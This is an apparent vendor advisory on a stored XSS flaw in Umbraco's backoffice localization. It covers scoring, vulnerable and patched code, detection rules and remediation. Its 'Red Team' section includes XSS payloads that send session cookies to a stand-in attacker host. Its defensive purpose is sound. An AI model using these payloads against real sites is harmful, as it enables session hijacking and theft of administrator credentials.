CVE-2025-24012

Executive Summary

CVE-2025-24012 is a stored cross-site scripting (XSS) vulnerability affecting Umbraco, a free and open-source .NET content management system. The flaw resides in localized backoffice components, allowing authenticated users to inject malicious scripts that execute when other authenticated users view the affected interface. The vulnerability impacts versions 14.0.0 through 14.3.1 and 15.0.0 through 15.1.1. Patches are available in versions 14.3.2 and 15.1.2. The CVSS score is 4.6 (Medium), with a low EPSS probability of exploitation (0.0%). No public proof-of-concept code or exploit templates have been identified at this time.

Supply Chain & Package Security

Umbraco is distributed as a NuGet package (Umbraco.Cms). Organizations should verify the integrity of the package using the official NuGet signature verification. The vulnerability is not introduced via a third-party dependency but exists within the core Umbraco localization rendering logic. Ensure that the package source is restricted to the official NuGet Gallery (https://api.nuget.org/v3/index.json) and that package signing is enforced in CI/CD pipelines.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.6 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker must be authenticated.
• User Interaction (UI): Required (R) – Victim must view the malicious content.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. Exploitation requires authentication and user interaction, reducing the immediate risk. However, the potential for session hijacking, credential theft, or internal reconnaissance within the CMS admin panel warrants prompt patching.

Deep Dive & Mechanics

The vulnerability exists in the Umbraco backoffice localization system. When rendering localized strings, the application fails to properly sanitize user-supplied input before embedding it into the HTML output. An authenticated attacker with the ability to modify localized content (e.g., translation keys or custom labels) can inject arbitrary JavaScript.

Attack Flow:

1. Attacker authenticates to the Umbraco backoffice.
2. Attacker navigates to a localization management interface (e.g., /umbraco/#/settings/languages).
3. Attacker crafts a malicious payload, such as <img src=x onerror=alert('XSS')>, and submits it as a localized string value.
4. When another authenticated user (e.g., an administrator) views a backoffice page that renders this localized string, the payload executes in the context of the victim's session.

Root Cause: The Umbraco.Cms.Core.Strings.HtmlLocalizedText class or similar localization helper does not encode output when rendering user-controlled localization values. The fix introduces proper HTML encoding using System.Net.WebUtility.HtmlEncode or equivalent.

Vulnerable vs. Patched Code

Vulnerable Code (C#):

public class LocalizedTextRenderer
{
    public string Render(string key, string value)
    {
        // Directly interpolates user-supplied value without encoding
        return $"<span class=\"localized-text\" data-key=\"{key}\">{value}</span>";
    }
}

Patched Code (C#):

using System.Net;

public class LocalizedTextRenderer
{
    public string Render(string key, string value)
    {
        // HTML-encode both key and value to prevent XSS
        string encodedKey = WebUtility.HtmlEncode(key);
        string encodedValue = WebUtility.HtmlEncode(value);
        return $"<span class=\"localized-text\" data-key=\"{encodedKey}\">{encodedValue}</span>";
    }
}

Key Difference: The patched version applies WebUtility.HtmlEncode() to both the key and value before rendering, neutralizing any injected HTML or JavaScript.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Umbraco instance (v14.0.0 to v14.3.1 or v15.0.0 to v15.1.1)
• Authenticated user account with permissions to edit localization strings (e.g., Translator or Administrator role)

Exploitation Steps:

1. Log in to the Umbraco backoffice.
2. Navigate to Settings → Languages → Dictionary.
3. Select an existing dictionary item or create a new one.
4. In the value field for a specific language, inject the following payload:

   <img src=x onerror=fetch('https://attacker.example.com/steal?cookie='+document.cookie)>
   

5. Save the dictionary item.
6. Wait for an administrator or another user to view the affected backoffice page (e.g., the dictionary overview or a content node that uses the localized string).
7. The victim's browser executes the payload, exfiltrating session cookies to the attacker-controlled server.

Alternative Payload (Session Hijacking):

<script>new Image().src='https://attacker.example.com/log?data='+btoa(document.cookie);</script>

Blue Team

Detection & Prevention:

• Monitor for unusual dictionary item modifications, especially those containing HTML tags or JavaScript.
• Implement Content Security Policy (CSP) headers to restrict script execution:

  Content-Security-Policy: default-src 'self'; script-src 'self'; img-src 'self' https:;
  

• Enable HTTP-only cookies to prevent JavaScript access to session tokens.
• Use Web Application Firewall (WAF) rules to block common XSS payloads in POST requests to /umbraco/backoffice/UmbracoApi/Dictionary/PostSave.

Hunting Query (Splunk):

index=web sourcetype=iis:log cs_uri_stem="/umbraco/backoffice/UmbracoApi/Dictionary/PostSave*"
| rex field=_raw "(?<payload><[^>]*on\w+=)"
| search payload=*
| table _time, clientip, user, payload

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains containing document.cookie or localStorage data.
  • Unusual POST requests to /umbraco/backoffice/UmbracoApi/Dictionary/PostSave with HTML/JavaScript in the request body.

• File System IOCs:

  • Modified dictionary entries in the Umbraco database (umbracoDictionary table) containing <script> or event handler attributes.

• Log IOCs:

  • IIS logs showing POST /umbraco/backoffice/UmbracoApi/Dictionary/PostSave with 400 or 500 status codes after patch deployment (indicating blocked payloads).

Detection Engineering

YARA Rule

rule CVE_2025_24012_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Umbraco localization"
        author = "Valters IT"
        date = "2025-02-20"
        cve = "CVE-2025-24012"
    strings:
        $xss1 = /<[^>]*on\w+\s*=[^>]*>/i
        $xss2 = /<script[^>]*>.*<\/script>/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Umbraco Localization XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS payloads in Umbraco dictionary save requests
author: Valters IT
date: 2025/02/20
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs_uri_stem: "/umbraco/backoffice/UmbracoApi/Dictionary/PostSave"
        cs_body|contains:
            - "<script"
            - "onerror="
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in dictionary values (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-24012 Umbraco Localization XSS Payload Outbound";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/umbraco/backoffice/UmbracoApi/Dictionary/PostSave"; http_uri;
    pcre:"/<[^>]*on\w+\s*=[^>]*>/i";
    sid:1000001;
    rev:1;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Umbraco to version 14.3.2 or 15.1.2 (or later).
2. If immediate upgrade is not possible, apply the following workaround:
   • Restrict permissions for dictionary editing to only trusted administrators.
   • Implement a reverse proxy or WAF rule to block POST requests containing HTML tags to the dictionary API endpoint.

Long-Term Hardening:

• Enforce strict Content Security Policy (CSP) headers.
• Enable input validation on all localization fields using a whitelist approach (e.g., allow only alphanumeric characters and spaces).
• Conduct regular security audits of custom Umbraco packages and extensions.
• Monitor the Umbraco security advisory page for future updates.

Verification:

• After patching, verify the fix by attempting to inject a test payload (e.g., <b>test</b>) into a dictionary value. The output should be HTML-encoded (<b>test</b>).

Valters IT
DevSecOps & Cyber Threat Intelligence